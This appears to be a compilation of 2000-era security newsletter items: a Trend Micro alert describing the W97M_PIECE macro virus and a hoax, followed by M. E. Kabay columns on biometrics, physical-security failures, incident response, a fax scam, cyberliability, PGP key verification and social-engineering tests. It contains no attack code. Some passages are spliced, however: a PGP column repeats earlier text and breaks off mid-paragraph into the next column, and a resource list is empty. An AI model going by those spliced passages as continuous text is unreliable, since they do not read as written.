W97M_PIECE.A is a new macro virus which was recently reported in Europe and South America.

Similar to W97M_MELISSA, this new macro virus attempts to spam copies of itself to users in the Microsoft Outlook Address book.

The subject line of the outgoing message is:

" A Piece of Information From <Username> "

The body of the outgoing message is:

" Here is some thing about EME College that you better know... "

W97M_PIECE also contains a destructive payload, which triggers on May 28th. On that day, it deletes all .INI files in the Windows folder, leaving the system unusable.

To read more about additional payloads, please refer to our website at:
http://www.antivirus.com/vinfo/virusencyclo/default5.asp?VName=W97M_PIECE.A

W97M_PIECE.A is detected and removed with Trend pattern #750 and above.

2. 10 Most Prevalent In-The-Wild Malware Surveyed by Trend US
(week of: 07/24/2000 to 07/30/2000)
---
1. VBS_KAKWORM.A

2. TROJ_SKA
3. VBS_STAGES.A

4. "KALI - Let's watch TV" HOAX

This hoax warns users about an email message with the subject: " Let's watch TV ".

According to the hoax email, IBM warns Internet users about a virus, which is much worse than Melissa. Furthermore, according to the message, the virus destroys Macintosh and IBM compatible computers.

This warning has been identified as a hoax and we advise all email users not to distribute it to others.

For details on this hoax and other hoaxes, please visit our website at:
http://www.antivirus.com/vinfo/hoaxes/hoax.asp

5. Trend Goes Wireless

If you own a Palm OS platform device with wireless access, download Trend's web clipping application and check, search and be updated on new viruses from anywhere in the US.

Download at:
http://www.antivirus.com/banners/tracking.asp?si=63&bi=90&ul=http://www.antivirus.com/palm/

European Biometrics Summit

by M. E. Kabay, PhD, CISSP
Security Leader
INFOSEC Group
AtomicTangerine, Inc.

Authentication, the linking of an identifier to a person who is authorized to use that identifier, depends one or more of four possible authentication factors, usually summarized as
* What you know (i.e., passwords, passphrases);
* What you have (i.e., tokens, such as physical keys or password generators);
* What you are (i.e., biometric authenication using physical features such as hand geometry and patterns on irises, retinas and fingers);
* What you do (i.e., biometric authentication using such dynamic features as signatures and voice patterns).

Here's some information I recently received about a conference that sounds interesting for network security managers considering biometric identification and authentication solutions.

BIOMETRICS IN BUSINESS-THE EUROPEAN BIOMETRICS SUMMIT
6th - 8th December, 2000
Flanders Language Valley, Belgium

Biometric technology, once an idea marginalized in science fiction, is finally reaching a mass audience. Large investments in the market, the strategic focus of companies like Microsoft and the support of analysts have combined to develop a new security standard, based on voice, face and fingerprint recognition. As we enter the new millennium, demand for biometric security solutions is expanding exponentially.

Between the 6th and the 8th of December, 2000 at the Flanders Language Valley, Belgium, the major players in this exciting market, such as Keyware Technologies, SAIL Trust and Visionics, IT and telecom players, such as EDS and Microsoft, will be addressing and discussing key industry issues. The conference, named Biometrics in Business and themed around the idea that "only bodies speak the truth," will focus on exploring the security and convenience benefits of biometric solutions. Attendees will be able to discuss real life business cases with end-users in vertical markets such as banking, telecom and government, and gain an appreciation of the strategic application of biometric technology.

Top decision-makers from a broad range of industries across Europe will be able to meet with leading solution providers to see how biometrics is already making a difference in their fields. Presentations will cover a variety of strategies and solutions, from physical access to Internet security, from smart cards to digital signatures, allowing attendees to find the solution that best

meets their needs.

More information about the Biometrics in Business Summit can be found at www.bibizz.com. To attend the Summit, please email < info@bibizz.com >. Members of the media are welcome.

[The announcement above is communicated as a matter of information; inclusion in this column does not imply endorsement or involvement by the author or by AtomicTangerine, Inc.]

From Product to Process:
Bruce Schneier's Analysis of INFOSEC

by M. E. Kabay, PhD, CISSP
Security Leader
INFOSEC Group
AtomicTangerine, Inc.

Bruce Schneier is one of the intellectual giants of our field. Author of several books, including the much-translated and appreciated *Applied Cryptography* (see < http://www.counterpane.com/orderac2.html > to order his books), Mr Schneier has contributed many focused and insightful articles on fundamental aspects of INFOSEC. In particular, his free CRYPTO-GRAM newsletter, published monthly by his company, Counterpane Internet Security Inc., is always worth reading. See < http://www.counterpane.com/crypto-gram.html > for archives and subscription information.

In May, Crypto-Gram < http://www.counterpane.com/crypto-gram-0005.html > included the article, "Computer Security: Will We Ever Learn?"

Schneier opens with his oft-quoted dictum, "Security is a process, not a product." [A corollary is "Security is a process, not a state."] After describing known problems with operating systems and encryption algorithms, he asks, "Is anyone paying attention?" Alas, "the answer to this question is: not really. . . . No one is paying attention because no one has to." He explains that the lack of legal liability for incompetent software engineering lets manufacturers take the easy route of producing bad-quality security software. "Real security is harder, slower, and more expensive, both to design and to implement. Since the buying public has no way to differentiate real security from bad security, the way to win in this marketplace is to design software that is as insecure as you can possibly get away with."

I think that there have been efforts in the right direction to improve security products. My former long-time employer, ICSA Labs < http://www.icsa.net > , runs several industry consortia < > that focus on setting and applying standards of functionality and quality to different types of products. See < http://www.icsa.net/html/certification/ > for a description of the certification process at ICSA Labs. I know from personal experience with the consortia that the ICSA staff and the representatives from member companies take their job seriously. For example, the Anti-Virus Product Developers' (AVPD) Consortium raised the standards for anti-virus products very quickly so that the AVPDs could no longer compete on the basis of how many variants of malicious software they could identify: that information became common knowledge, and all of the participating anti-virus scanner products were tested against the same "zoo" and using the same test procedures. Within a few years, this quality-assurance effort paid off for everyone: users could count on effective anti-virus functionality from any ICSA-certified anti-virus product; AVPDs could focus on user documentation and interface, ease of installation, and frequency of updates rather than wasting time and effort futilely trying to win a numbers game.

Schneier recommends that everyone concerned with security keep track of known vulnerabilities using alert services and network vulnerability scanners. He argues that we ought to be monitoring all network components continuously. "Almost everything on your network produces a continuous stream of audit information: firewalls, intrusion detection systems, routers, servers, printers, etc. Most of it is irrelevant, but some of it contains footprints from successful attacks. Watching it all is vital for security, because an attack that bypassed one product might be picked up by another."

In a White Paper, "Managed Security Monitoring,", < http://www.counterpane.com/whitepaper.html > Schneier explains the results of his thinking: his company's focus on continuous monitoring of client security data as the heart of his company's business. He then describes in detail every element of the new service that his company is offering subscribers. As usual, the writing is clear and concise.

This is a marketing document that provides sound information and sound reasoning and therefore makes Schneier and his colleagues look good -- for real. I wish more companies would govern their marketing departments to ensure this kind of excellence in their documentation. If you have any sway over such people, why not slip them a copy of this column?

Finally, take a look at the information on Schneier's new book, Secrets and Lies: Digital Security in a Networked World on his Web site at < http://www.counterpane.com/sandl.html >. I am looking forward to getting a reviewer's copy from the author and will report my impressions in another column.

[Neither the author nor AtomicTangerine have a business relationship with Counterpane Systems and the above commentary is not to be construed as an endorsement of Counterpane Systems' services.]

Banks and Biometrics

by M. E. Kabay, PhD, CISSP
Security Leader
INFOSEC Group
AtomicTangerine, Inc.

The following comments on identification and authentication are from a reader who has asked to remain anonymous. He decline to suffer the slings and arrows of an outrageous legal department to get permission to be quoted with attribution.

>I have very much enjoyed your treatises on security that appear in the Network World Fusion. I would, however, like to add a few observations regarding the following statement that you made.

"It seems to me that much of the blame for identity theft lies in the financial and legal systems. We are just not demanding adequately rigorous identification and authentication of people requesting financial instruments. There exist sufficiently precise biometric authentication methods today that we ought to be able to tie a name to a physical identity. In the U.K., recent trials of iris recognition at automated banking machines have been successful in providing nonintrusive authentication of identity to reduce fraud."

Although these opinions are strictly my own, I do work for a large financial institution which has been investigating various forms of biometric identification for a number of years.

There are a number of issues that have prevented the widespread use of biometrics for identification, not the least of which is customer acceptance. While the scenarios of arrest that you portray may well occur on occasion, the more common scenario is that the customer (by law) ends up being held responsible (in the case of credit card fraud) for a maximum of $50 while the financial institutions and businesses take the bulk of the loss. And often that $50 fee is waived.

In the past, consumers have been sufficiently unworried about such fraud affecting their lives in a significant way that they have declined the hassle that biometric identification introduces. Many people are very wary of putting their eye up to a device that scans a retina, and they certainly do not want to do it every time they withdraw money from an ATM.

In addition, such biometric identification conjures up thoughts of a technological "big brother" who is watching over us all. Issues of privacy, whether they have any rational basis or not, loom large in consumer acceptance of these new technologies.

In deciding whether to choose convenience over security, many (and I would venture, probably most) consumers choose convenience. As problems of identity theft rise, this choice may change.

Identity theft has always been around, of course. It is just becoming more wide-spread with the

advent of the Internet. How one can use biometric identification mechanisms in the Internet environment is unclear (at least to me...though smart cards may hold part of the answer). Although biometric identification has come a long way over the past decade, it still has a long way to go. As a viable technology, I suspect it will be a relatively long time (10 years?) before it becomes both accepted and ubiquitous enough to be of great use.<

Thank you, Dear Reader, for that thoughtful contribution. There may be another factor that might encourage acceptance of one type of biometric authentication: the slowly-growing use of a voice-interface to PCs. I personally use dictation software to write a good deal of my work, and if Star Trek is anything to go by <smile> then someday speaking to all computers, including ATMs, may seem a perfectly ordinary practice. And no, tape recordings are not an effective way of fooling voice-recognition systems, regardless of the beliefs encouraged by Hollywood movies.

The Glass-Front Data Center

by M. E. Kabay, PhD, CISSP
Security Leader
INFOSEC Group
AtomicTangerine, Inc.

A senior security consultant who prefers not to be identified sent me the following cases in response to the ongoing physical-security series. I think readers will enjoy his stories and learn from his teaching points.

* The Case of the Glass-Front Data Center *

The new center cost over $30 million and was thought to be "state of the art". However, the risk assessment was not done until construction was well underway. The front wall was made of glass, which provided a clear view into the computer room. The access control system did not work for six months after the center was on line, due to problems with a start-up contractor. Two unarmed guards monitored the front door and the computer room door. They were also supposed to monitor the 30 plus cameras on the perimeter, none with motion sensors, while doing visitor control. A knoll 100 yards for the center provided a clear view of the air conditioners on the roof. Uncontrolled parking was available next to the front glass wall. The Public Affairs staff produced a video describing the construction of the center, which was available to anyone who requested it. Pictures from the video were available on its web site along with a floor plan and network diagrams for many months after the center was completed. The center processes important information for several organizations.

Lessons learned:
(1) Plan for security as you plan your building or data center.
(2) Perform your risk assessment early in the process when changes can be made.
(3) Revise the risk assessment as the building is built.
(4) Don't use materials like glass in critical areas.
(5) Don't use startup contractors for critical services.
(6) Don't expect guards to do so many different functions that they don't do any well.
(7) Do control parking.
(8) Use vehicle barriers to prevent vehicles from hitting building.
(9) Watch the information on web site.
(10) Don't produce videos about critical facilities for public distribution.

More in this mini-series by our anonymous author next week. My thanks for his kind permission to publish them, even though he won't get the credit he deserves for the crisp writing and insightful analysis.

More Physical Insecurity Cases

by M. E. Kabay, PhD, CISSP
Security Leader
INFOSEC Group
AtomicTangerine, Inc.

A senior security consultant who prefers not to be identified sent me the following cases in response to the ongoing physical-security series. I think readers will enjoy his stories and his points and I thank him for permission to print them. This is the second in a mini-series.

*The Case of the Open-Door Data Center *

The taxi was waved through the gate when one of the occupants told the guard that the review team was visiting Mr. Smith in Building X. When arriving at building X, the team exited the taxi and walked into the building, which lacked any visitor control. Within 20 seconds, they were outside the computer room door that was propped open as it was during a previous visit. The computer room was located in an old warehouse with no fire suppression system outside the computer room. The backup tapes were stored in a metal cabinet next to the computer room in an open office area. Several organizations used systems at this center.

Lessons learned:
(1) Use visitor control at the perimeter and at the building.
(2) Verify appointments and escort visitors.
(3) Use alarms to indicated when doors to critical facilities have been open too long.
(4) Don't put critical facilities in old warehouses.
(5) Do have fire suppression through out the building.
(6) Store backup tapes safely and away from primary facility.

* The Case of the Neighborly Data Centers *

Twenty-five years ago, three buildings were acquired for the data centers of three different organizations. A common alley separated them in the rear. For years, the three organizations attempted to have the building management company to provide some type of access control over the alley that was open 24/7. Finally, after the Oklahoma City bombing, one of the organizations took the initiative to control the alley. Before this control was in place, a carefully placed truck bomb could have incapacitated all three centers.

Lessons learned:
(7) Do not "co-locate" critical facilities.
(8) Protect all perimeters.
(9) Work with your neighbors for comprehensive protection.

More from our anonymous field-agent next week.

Final Words from the Field

by M. E. Kabay, PhD, CISSP
Security Leader
INFOSEC Group
AtomicTangerine, Inc.

A senior security consultant who prefers not to be identified sent me the following cases in response to the ongoing physical-security series. I think readers will enjoy his stories and his points and I thank him for permission to print them. This is the last of three columns provided by our anonymous benefactor.

* The Underground Data Center *

Initially, the headquarters data center was three levels below ground. When it rained, it often flooded, necessitating a shutdown of the equipment and service to customers. Finally the building was renovated and the center was moved. It was now two levels below ground, under the cafeteria and the two most used restrooms in the building. A break in the public sewer connection just outside the building caused the sewage to backup into the building, closing it for four days and flooding under the raised floor of the computer room. Fortunately, the building closure took place between Friday and Monday, minimizing the impact on 4000 local customers and numerous others with remote access.

Lessons learned:
(1) Don't located critical facilities below ground, under cafeterias, rest rooms or other places where water could originate.

* The Insecure Off-Site Storage Facility *

The off-site storage facility was just off the Interstate, at least 10 miles from the primary site. The neighborhood appeared to be less than desirable. When the review team entered, they noticed a window was broken on the right side. According to the staff, someone had thrown a beer bottle through it the previous evening from the parking lot.

While the team was in the lobby, the front door was opened for local resident, soliciting for some cause. The vault door, approximately 30 feet away from the front door, remained unlocked during the day. Outside, the power shut off was unprotected and the air conditioning equipment in the parking lot had no vehicle barriers or fence. On one side of the building the next lot contained an appliance junkyard, just a few feet from the storage facility. The backup tapes stored there were critical for the successful deployment of its contingency plan at the hot site. The Operations Staff initiated the contract for this facility and the Security Staff had never visited the site.

Lessons learned:

(2) Be sure your off-site storage facility has as strong or stronger security than your primary facility.
(3) Don't sign the contract to use a vendor's facilities until the security staff has visited the site and is comfortable with its security.
(4) Protect power cut-off, air-conditioning, and other important infrastructure support systems.

* The Almost Secure Off-Site Storage Facility *

The off-site storage facility was truly state of the art. The building included only a street number to mark it. The only glass was around the reception area door. Visitors had to be admitted by the receptionist. The vaults had only one entrance/exit, thanks to a security conscious fire marshal. Delivery vehicles entered a large indoor loading dock to unload.

However, a person who wish to illegally enter the facility could use a ruse such as claiming his wife was having a baby in the car just outside the front door and he needed to call for an ambulance. When the receptionist admitted him, he could then threaten her with a knife or firearm, forcing her admits others from the vehicle, and then to use her key card to admit him to the hallway with access to the vaults. Since there are no security personnel on site, it's unlikely that the anything would stop the attackers from entering the vaults and planting a bomb or otherwise damaging the backup media.

Lessons Learned:
(5) Train your receptionist not to be influenced by a ruse at the front door.
(6) If the rules state that the receptionist should admit only visitors with appointments, there are no exceptions; reinforce the training with realistic exercises.
(7) Also, the receptionist's card does not need to be programmed to enter the critical areas. It should grant access only to office areas in the front of the building, not to the operations areas.

Once again, my thanks to the reader who supplied these real-life cases of poor physical security.

Intrusion Detection Resources

by M. E. Kabay, PhD, CISSP
Security Leader
INFOSEC Group
AtomicTangerine, Inc.

A reader wrote, "I would like to hear about "what to do when you are being attacked by hackers."

Here is a brief summary of some points to ponder plus some references to readings that you may find helpful on this matter. I may cover this matter in more detail in future columns.

The key elements of effective response to breaches of security (whether denial of service, intrusion or some other problem) are as follows:

--BEFORE there is a problem:
* constitution of a suitable Computer Emergency Response Team (CERT)
* implementation of effective intrusion/incident detection procedures and technology
* effective planning and rehearsal of responses to a wide range of scenarios as part of training and policy refinement

--DURING an incident
* discretion / secrecy of CERT actions
* careful safeguarding of evidence for forensic purposes
* collaboration with law enforcement authorities
* meticulous record-keeping of CERT and other actions (for later analysis)

--AFTER an incident
* analysis of vulnerabilities
* implementation of remedial measures to reduce likelihood of similar or related intrusions/attacks
* analysis of CERT responses and improvements to procedures.

Some resources for intrusion detection and response:

Watch Out for Fax Vote Scam:
Gullible Employees May Generate Unwarranted Expenses

by M. E. Kabay, PhD, CISSP
Security Leader
INFOSEC Group
AtomicTangerine, Inc.

Last week I received a peculiar junk fax that I think network managers should know about.

In a big black block, the fax started, "BUSH vs GORE" and went on to say, "Recent opinion polls suggest that the presidential race between Bush & Gore is very close. . . ." The fax then instructs the recipient, "To vote, simply check one of the boxes below and fax your vote back to us." Below the boxes, the document then provides two 900 numbers and the legend, "Your votes will be presented to the Presidential candidates and the major political parties. The total votes received will be available at the end of the poll at www.pollresults.co.uk ."

In smaller letters, the fax reveals the clincher: "Calls to these numbers cost $2.95 per minute, a small price for greater democracy. Calls take approx. 1 or 2 minutes. Your views are important. We make sure that decision makers are hearing them."

The final lines give the supposed origin of the fax (although it reads, "Poll commissioned by. . .") and gives two telephone numbers for supposedly having one's fax number removed from their junk fax list.

The fax appears to have violated FCC regulations and federal law in two ways: first, there was no header showing the organization sending the fax or the fax number used to send it; second, the fax was sent to my fax machine without authorization and with no established business relationship. See < http://www.fcc.gov/ccb/consumer_news/tcpa.html > for the FCC's explanation of the Telephone Consumer Protection Act (TCPA) which explicitly, ". . . prohibit[s] the transmission of unsolicited advertisements by telephone facsimile machines. . . ."

Some other serious problems of credibility in the junk fax:
* I measured the time it takes to send the fax at ordinary resolution: less than 30 seconds, not up to two minutes.
* The Web site named in the message is completely blank.
* There is no sense in using a fax machine to count votes: a simple system of telephone. registration can allow electronic counting of preferences in a few seconds per call.

From a statistical standpoint (and I am a trained statistician), this supposed "poll" is complete rubbish: it will represent only the opinions of people gullible enough to spend at least $2.95 responding to a junk fax message from total strangers, with zero reason to believe that the results will in any way be meaningful or of any interest to any normally intelligent person.

Managers, warn your employees not to respond to this kind of scam: it is clearly designed to generate revenue from unsuspecting recipients. Remember that if anyone uses your phone lines to originate a call, even if in response to fraud, your firm will be liable for the expenses, no matter how outrageous. If, for example, it happened to take, say 10 minutes for the designated fax machines to process your employee's fax, your firm would be charged $29.50 by your phone company – and trying to get that charge removed would be nearly impossible.

I sent the originators a cease-and-desist order warning them that further violations of my rights would lead to a court proceeding demanding $500 per incident. I also sent a copy of the fax to my regional FBI office (for investigation of possible wire fraud), to the Federal Trade Commission (for investigation of possible fraud), to the Federal Communications Commission (for investigation of possible violations of FCC regulations) and to the Federal Elections Commission (for investigation of abuse of the election process).

For the record, I am not a lawyer, and this is not legal advice. For legal advice, consult an attorney with expertise in this area of practice.

Cyberliability

by M. E. Kabay, PhD, CISSP
Security Leader
INFOSEC Group
AtomicTangerine, Inc.

In this and next week's non-series column, I'm looking at a couple of good White Papers I ran across during my research for a paper on privacy.

Elron Software has published an interesting White Paper entitled, "Cyber liability: An Enterprise White Paper" (available along with other useful documents from < http://www.elronsoftware.com/enterprise/downloads.htm >). Their focus is on employee use of the Internet. The risks they enumerate include offensive material or spam, libelous or defamatory material, confidential data leaks, excessive personal e-mail, excessive peronal Web surfing, and excessive personal use of news groups FTP and chat. The costs they consider include case preparation fees, settlement or damages of legal proceedings, damaged company image, lowered shareholder value, decreased employee productivity, and lost sales due to network slowdowns. They neatly arrange the risks and costs in a table that makes it clear that, in their opinion, the greatest exposure comes from legal liability for employee misuse.

Elron's writer(s) make excellent points about how vulnerable a corporation is to legal pursuit once the employees start fooling around on the Net. They give examples of court cases involving discrimination, harassment, obscenity and pornography, defamation and libel, in for Lou nation leaks, and spam. In their opinion, as in mine, employees should be informed that when using corporate Internet resources, they must expect no privacy. Employees should sign a written policy statement affirming that they understand that their communications may be monitored by managers at any time. Companies should have clear policies in place defining acceptable use for corporate Internet resources.

The Elron Cyberliability White Paper includes a simple Internet usage policy quiz on page 11 of the PDF file and then goes on to describe Elron products in considerable detail. The paper ends with a sample request for proposal that naturally includes very positive answers on behalf of Elron's products <smile>.

In the same location, Elron has a link < http://www.elronsoftware.com/enterprise/cyber_library.htm > to the "Cyberliability Library", whose blurb reads, "Download a complimentary copy of Elron's Cyberliability Overview and find out how other organizations have faced Cyberliability issues - includes recent court cases." The document doesn't qualify as a library--it's a few pages only--but it certainly has useful examples of Cyberliability cases and is worth reading.

Next week, a review of the second Elron White Paper, that one on Internet Usage Policies.

[For the record, neither the author nor his employer is in any way associated with Elron Software. The opinions expressed in this column are entirely the writer's, and do not constitute an endorsement of Elron software's products.]

Internet Usage Policy

by M. E. Kabay, PhD, CISSP
Security Leader
INFOSEC Group
AtomicTangerine, Inc.

In last week's non-series column, I looked at a good White Paper on Cyberliability from Elron Software. This week, I review another good paper from that company.

Elron's second useful paper is their "Guide to Internet Usage and Policy," which I very much enjoyed. You will find the download link for it by looking towards the top of the page at < http://www.elronsoftware.com/enterprise/downloads.htm>. The document includes an overview of the 1999 Corporate Internet Usage Survey commissioned by Elron Software. The results of this survey are presented neatly with pie graphs; highlights include the following:

- A total of 805 interviews were completed, and 95% confidence limits were around 4% for the estimates provided.
- ~a tenth of the respondents admitted to having received confidential information from an outside company via e-mail.
- ~2/3 of the respondents knew of no system tracking their Web surfing on their employer's equipment.
- ~3/5 of the employees said they were not aware of e-mail-tracking systems at work.
- ~7/8 of the respondents used workplace e-mail for personal messaging.
- ~3/5 of the sample said did they had received pornographic ("adult-oriented") e-mails at work.
- ~55% said they had received sexist or racist the mails at work.
- ~half the employees admitted "frequently" surfing the Web for personal reasons while at work.
- ~1/3 of the respondents "frequently" download software for personal reasons while at work.

Perhaps the most useful and practical aspect of Elron's White Paper is its sample Internet Usage Policy, which provides several pages of sound advice for managers and then illustrates the principles with a usable, well-written policy template suitable for tailoring to your own organization.

After that, the White Paper turns to Elron's products, which are described with clear and unambiguous language.

Congratulations to the people who put such obviously intense thought and care into their marketing materials. This professional effort shows how educational documents prepared by professionals can be among the very best marketing materials for field. I hope other firms will emulate Elron's excellent work.

Secure Cabling

by M. E. Kabay, PhD, CISSP
Security Leader
INFOSEC Group
AtomicTangerine, Inc.

A reader writes:

>What do you think of securing the physical wiring with loops of fiber that can detect when the physical media is being compromised? I have heard of this requirement coming from the US Air Force for some of their installations. Could this end up having widespread application in the private sector?<

I don't know anything about the specific brands or types of such secure cabling, but I am aware of some of the theoretical issues.

The reliability depends very much on exactly how the intrusion/damage detection is implemented.

There are very expensive coaxial cables, for example, that rely on high-pressure gas or a liquid in a layer around the transmission core. Breach the exterior and the gas or liquid escapes; pressure monitors on either end of the segment set off appropriate alarms.

However, although that technique works fine for accidental breaches, it's not so great for defense against deliberate breaches. The criminals can create a kind of glove-box around the desired puncture location, sealing off that segment so that pressure can be maintained through an external source of gas or liquid into the glove-box even as they "operate" on the cable itself.

Electrical conductivity suffers the same sort of problem if it's just current. Light traveling along fiber-optic channels can also be used as an indicator of interruption. Although it is possible to splice into an optic fiber, it's a lot more trouble than just patching across a break in a copper wire. So a secondary channel can provide some warning of accidental breaches but is still susceptible to deliberate attack.

However, a design that is much harder to breach secretly uses data transmission, not merely the presence or absence of current or light.

Imagine fiber-optic or electrically-conductive strands running along the cable; transmit data through these secondary channels using the full force of digital technology for message authentication. For example, send packets with digitally-signed sequence numbers or signatures that depend on the data in previous packets or any other data that can be authenticated easily at the other end but are expensive to analyze and simulate in the middle. Intercepting and rerouting such traffic through a shunt under the control of the attackers would be much more expensive in time and effort than for the simpler designs. Use strong enough encryption and it becomes

prohibitively expensive -- which is what you want.

Anyone out there have some interesting facts for a fellow reader (and for me)?

Enabling a New PGP Key: Maintaining the Web of Trust (1)

by M. E. Kabay, PhD, CISSP
Security Leader
INFOSEC Group
AtomicTangerine, Inc.

This is the first of three brief articles about PGP and how to enable someone's new PGP key.

I received an e-mail message from an old friend today (as I write this text); he said that he had lost his PGP keyrings and had to generate a new keypair, so here was his new public key.

You will recall that Pretty Good Privacy (see < http://www.pgp.com/products/dtop-security-data/default.asp > for more information about the commercial version and < http://www.pgp.com/products/freeware/default.asp > for the free non-commercial version) generates two keys at a time (a key pair) that are complementary: what one key encrypts, the other decrypts and vice versa. One of the keys is made public; the other is kept secret by its user. This asymmetric encryption algorithm makes possible the public-key cryptosystem and that is very useful indeed.

Suppose you want to send a message securely using PGP (or any other public-key cryptosystem) so that only the desired recipient can read it: what do you do? Answer: you encrypt the message with the recipient's public key; then only the recipient knows the secret key with which to decrypt that message. (Actually it's a bit more complicated than that – the message gets encrypted with a temporary key – a session key – and then that key gets encrypted using the recipient's public key and sent along with the encrypted message.) The encryption process also ensures that the recipient can verify the integrity of the message: any change to the ciphertext – as the encrypted text is known – is detected during the decryption phase.

Now suppose you want to send a non-confidential message to one or more recipients; you want to maintain proof of integrity and you want your correspondents to be sure the message actually came from you. PGP generates a function of your message called a hash; it then encrypts the hash using your own private (secret) key. After delivery, the recipient's PGP program generates the hash of your message again; it also decrypts the hash you sent along with your message using your public key. If your decrypted hash matches the recipient's hash, then (a) nobody changed the message in transit; and (b) the message must have come from a person with access to your secret key. To the extent that the recipients are confident in your ability to protect your secret key against unauthorized use, they can have the same confidence that the message actually came from you.

In the next column of these two, we'll look at how to verify the legitimacy of a new PGP key.

Enabling a New PGP Key: Maintaining the Web of Trust (2)

by M. E. Kabay, PhD, CISSP
Security Leader
INFOSEC Group
AtomicTangerine, Inc.

This is the second of two brief articles about PGP and how to enable someone's new PGP key. You will recall that one of my old friends sent me an e-mail message saying that he had lost his PGP keyrings and had to generate a new keypair, so here was his new public key.

Well now we come to the reason I winced when my buddy (let's call him "Bob") sent me that new public key. How confident was I that the key genuinely came from him?

But what would it matter if someone else were sending me a key falsely claiming to come from Bob?

Suppose a man in the middle of the communications link and pretending to be Bob sent me a key falsely claiming it was Bob's public key? Then later, he (let's call him "Darth") could impersonate Bob and read encrypted messages from me to "Bob" and read them. If Darth could intercept PGP-signed messages from Bob to me (and prevent my receiving the authentic ones from Bob) then Darth could alter them before sending them on to me with a signature using the false "Bob" key. Darth could also generate completely fraudulent messages claiming to be from Bob and my PGP signature verification would tell me that they were authentically from what I incorrectly thought was Bob's private key.

Now Bob had actually signed his own public key using his secret key, but the valid signature only proved that the public key had been signed by the corresponding private key; it in no way guarantees the authenticity of that keypair as really coming from Bob.

Solution: the recipient of a new public key must establish to the desired level of confidence that it really comes from the putative sender. In my case, it was good enough to call Bob using the phone number I already new from our previous interactions (not a phone number in the message bearing the new key).

When I was confident that I was speaking with Bob, I asked him to bring up his new PGP key in the PGPKeys program. By looking at the properties of the keys on his computer and on mine, we could verify that the fingerprint on his version of the key matched the fingerprint of the version of the key I had received by e-mail. He read me the fingerprint; it matched what I saw, so I was satisfied that the key was genuine.

Going one step further, I signed Bob's key using my own PGP secret key. Anyone trusting me would know that I had established to my own standards of rigor that the key was legitimate. If these third parties decided to trust my judgement, they could then use Bob's signed public key without having to check it further. Thus my verifying that fingerprint was an essential element in the non-hierarchical web of trust that underlies PGP and similar public-key cryptosystems.

Should someone who had no idea who I am trust my signature on Bob's public key? Not necessarily. They could look at who signed my public key (the public key should be stored on a

public keyserver for access by anyone) and if they saw a valid signature from someone whom they did trust, then maybe they could hope that I would maintain the same level of trust. However, none of this provides formal guarantees of trustworthiness. It's an informal web of trust and it works only as well as the honesty and care of the people involved. At a fundamental level, exactly the same issues of probity and trustworthiness underlie other mechanisms for defining the level of trust in any public key infrastructure.

Anyone critically concerned with the validity of a public key can check its fingerprint by contacting the owner of that key before accepting its authenticity.

Finally, I gave my friend some good-natured ribbing: there is no reason he should have lost his PGP keyrings at all. They should be backed up safely.

In summary, there are several major lessons here for anyone using PGP:

(1) If you receive a new public key from someone you know, communicate with the ostensible owner using a trustworthy channel and check the key fingerprints before trusting the new key.

(2) When deciding whether to trust a public PGP key, you can examine who has signed the key and check the validity of those signatures.

(3) You may go so far as to check a proposed public key by verifying that key's fingerprint with its owner using a trustworthy channel of communication.

(4) If you know the owner of a new PGP key personally and you have verified the key to the maximum level of confidence that you deem appropriate, you may sign the new key if you feel that others know you and trust your judgement in guaranteeing the new key's authenticity.

(5) Back up your PGP keyrings.

Enabling a New PGP Key: Maintaining the Web of Trust (3)

by M. E. Kabay, PhD, CISSP
Security Leader
INFOSEC Group
AtomicTangerine, Inc.

In the third of three articles about trusting PGP keys, we look at how to handle receiving a new PGP key from somone – and ensuring that it really does come from the person identified in the key. In the last article, I showed how easy it is to contact the sender and compare PGP fingerprints to be sure that the key did not come from an imposter.

Going one step further, I signed Bob's key using my own PGP secret key. Anyone trusting me would know that I had established to my own standards of rigor that the key was legitimate. If these third parties decided to trust my judgement, they could then use Bob's signed public key without having to check it further. Thus my verifying that fingerprint was an essential element in the non-hierarchical web of trust that underlies PGP and similar public-key cryptosystems.

Should someone who had no idea who I am trust my signature on Bob's public key? Not necessarily. They could look at who signed my public key (the public key should be stored on a public keyserver for access by anyone) and if they saw a valid signature from someone whom they did trust, then maybe they could hope that I would maintain the same level of trust. Social-Engineering Simulations

by M. E. Kabay, PhD, CISSP
Security Leader
INFOSEC Group
AtomicTangerine, Inc.

We know that "social engineering" is an important tool for criminal hackers. Social engineering refers to lying, cheating, tricking, seducing, extorting, intimidating and even threatening employees into revealing confidential information that can then be used to break into systems. Social engineering is based on deception and on violation of social norms of fairness and honesty.

Vulnerability analysis is a useful approach to measuring the success of INFOSEC policies; it's especially useful when there are known vulnerabilities introduced into a system and the percentage of identification of those known vulnerabilities is used as a measure of the quality of the penetration testing itself.

Penetration testing is one tool that can support vulnerabilitiy analysis. By itself, however, penetration testing -- simply looking for a way to penetrate a security perimeter -- is an inadequate measure of security. The important issue is not that a single breach was possible; that's almost inevitable if the attacker has enough time and determination to accomplish the breach. A wider perspective insists on identifying as many vulnerabilities as possible so they can be removed. The widest perspective analyzes the corporate culture of the target to understand why the vulnerabilities were present at all, then moves to fix the underlying processes so that new vulnerabilities can be prevented.

One question arises when planning such penetration analysis is whether social engineering techniques should be used. My consistent answer is "No, not unless you are prepared to do an awful lot of work before trying it."

Why not use social engineering?

The problem is that deceit can have profoundly disturbing effects on the deceived. If you hire someone to lie to your employees, don't be surprised if you generate a lot of anger and maybe even a few resignations. If the victim of social engineering makes a mistake and compromises security in this kind of test, you might find your organization facing a lawsuit for emotional suffering. At the least you will find a drop in morale. If your penetration testers violate the law or induce someone to violate the law you m ay be in serious trouble.

What kind of preparation can help to avoid these consequences?

I was speaking with the head of the lifeguards at a pool many years ago and learned that the lifeguard team would arrange for occasional, unannounced drills in the pool. She explained that the pool management had approved a plan whereby a lifeguard or member of the swim team would simulate distress so that the lifeguard on duty could practice responding. This exercise was done with thorough preparation: everyone on the roster was aware of the possibility that there would be a simulation. The timing was unannounced, but the fact that there would be a simulation was understood by all.

One of the points the lifeguard told me is that during the planning phase, some members of the

group raised concerns about lowering the thoroughness of response to an emergency if a lifeguard thought it might be merely a test. The group agreed explicitly that all apparent emergencies would be treated as real.

I think that we can apply the same principles in our own work.

First, as always when testing security, the attackers (whether internal or external) must obtain written authorization from the appropriate levels of management before any such analysis is carried out. Above all, employees should never attempt to test their organization's security without such written authorization. People have gone to jail for "testing security" without permission.

